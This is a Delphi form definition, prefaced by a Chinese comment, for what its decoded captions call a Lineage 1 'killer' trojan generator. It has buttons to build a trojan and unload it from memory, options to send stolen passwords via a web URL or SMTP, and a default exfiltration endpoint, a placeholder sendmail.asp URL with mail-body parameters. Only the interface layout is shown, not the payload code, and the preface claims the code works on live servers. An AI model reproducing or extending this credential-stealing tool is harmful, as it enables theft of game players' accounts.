uinstall.dfm

这个是早时候,韩国天堂1的代码,据说美服和台湾的也能用

object Form1: TForm1
  Left = 35
  Top = 109
  Width = 651
  Height = 200
  BorderIcons = [biSystemMenu, biMinimize]
  Caption = #22825#22530'1'#26432#25163
  Color = clBtnFace
  Font.Charset = DEFAULT_CHARSET
  Font.Color = clWindowText
  Font.Height = -13
  Font.Name = #23435#20307
  Font.Style = []
  OldCreateOrder = False
  OnCreate = FormCreate
  OnShow = FormShow
  PixelsPerInch = 96
  TextHeight = 13
  object Label2: TLabel
    Left = 16
    Top = 24
    Width = 7
    Height = 13
  end
  object Labelhttp: TLabel
    Left = 248
    Top = 152
    Width = 3
    Height = 13
    Cursor = crHandPoint
    Font.Charset = DEFAULT_CHARSET
    Font.Color = clBlue
    Font.Height = -11
    Font.Name = 'MS Sans Serif'
    Font.Style = [fsUnderline]
    ParentFont = False
  end
  object Label1: TLabel
    Left = 264
    Top = 128
    Width = 105
    Height = 13
    AutoSize = False
    Caption = #32852#31995'QQ:xxxxxxx'
  end
  object Label3: TLabel
    Left = 256
    Top = 152
    Width = 106
    Height = 13
    Cursor = crHandPoint
    Caption = 'http://www.xxxxx.com'
    Font.Charset = DEFAULT_CHARSET
    Font.Color = clBlue
    Font.Height = -11
    Font.Name = 'MS Sans Serif'
    Font.Style = [fsUnderline]
    ParentFont = False
    OnClick = Label3Click
  end
  object Button1: TButton
    Left = 136
    Top = 128
    Width = 91
    Height = 25
    Caption = #29983#25104#26408#39532
    TabOrder = 0
    OnClick = Button1Click
  end
  object RadioGroup1: TRadioGroup
    Left = 7
    Top = 5
    Width = 625
    Height = 76
    Caption = #20219#36873#20197#19979#19968#31181#21457#20449#26041#24335
    ItemIndex = 1
    Items.Strings = (
      #32593#22336
      #37038#20214#29305#24555)
    TabOrder = 1
    OnClick = RadioGroup1Click
  end
  object Edithtml: TEdit
    Left = 62
    Top = 20
    Width = 561
    Height = 21
    ImeName = #26216#26342#20116#31508'5.0'
    TabOrder = 2
    Text = 
      'http://www.abc.com/mir2/sendmail.asp?tomail=[e-mail]&mailbody' +
      '='
    OnChange = EdithtmlChange
  end
  object EditMxMail: TEdit
    Left = 88
    Top = 49
    Width = 177
    Height = 21
    ImeName = #26216#26342#20116#31508'5.0'
    TabOrder = 3
    Text = '[e-mail]'
    OnChange = EditMxMailChange
  end
  object EditMail: TEdit
    Left = 88
    Top = 77
    Width = 121
    Height = 21
    ImeName = #26216#26342#20116#31508'5.0'
    TabOrder = 4
    Text = '[e-mail]'
    Visible = False
    OnChange = EditMailChange
  end
  object Panel1: TPanel
    Left = 212
    Top = 76
    Width = 37
    Height = 25
    BevelOuter = bvNone
    Caption = #23494#30721
    TabOrder = 5
    Visible = False
  end
  object EditPass: TEdit
    Left = 245
    Top = 78
    Width = 76
    Height = 21
    ImeName = #26216#26342#20116#31508'5.0'
    TabOrder = 6
    Text = '12345678'
    Visible = False
    OnChange = EditPassChange
  end
  object Panel2: TPanel
    Left = 324
    Top = 76
    Width = 37
    Height = 25
    BevelOuter = bvNone
    Caption = #26381#21153#22120
    TabOrder = 7
    Visible = False
  end
  object Editserver: TEdit
    Left = 365
    Top = 78
    Width = 108
    Height = 21
    ImeName = #26216#26342#20116#31508'5.0'
    TabOrder = 8
    Text = 'smtp.163.com'
    Visible = False
    OnChange = EditserverChange
  end
  object CheckBoxTest: TCheckBox
    Left = 16
    Top = 104
    Width = 273
    Height = 17
    Caption = #29983#25104#27979#35797#29256'('#25910#21040#30340#23494#30721#21482#26377#21069'4'#20301')'
    TabOrder = 9
  end
  object Button2: TButton
    Left = 376
    Top = 128
    Width = 121
    Height = 25
    Caption = #21368#36733#20869#23384#20013#30340#26408#39532
    TabOrder = 10
    OnClick = Button2Click
  end
  object Encrypt1: TEncrypt
    EncryptCode1 = 1234999896
    EncryptCode2 = 1178906234
    CPUID1 = 1713
    CPUID2 = 3
    CPUID3 = 0
    CPUID4 = 58980863
    Vendor = 'GenuineIntel'
    RegistryPath = 'Software\Hacker'#36719#20214'\CT1 MM\'
    OnInputCode = Encrypt1InputCode
    Left = 480
    Top = 88
  end
end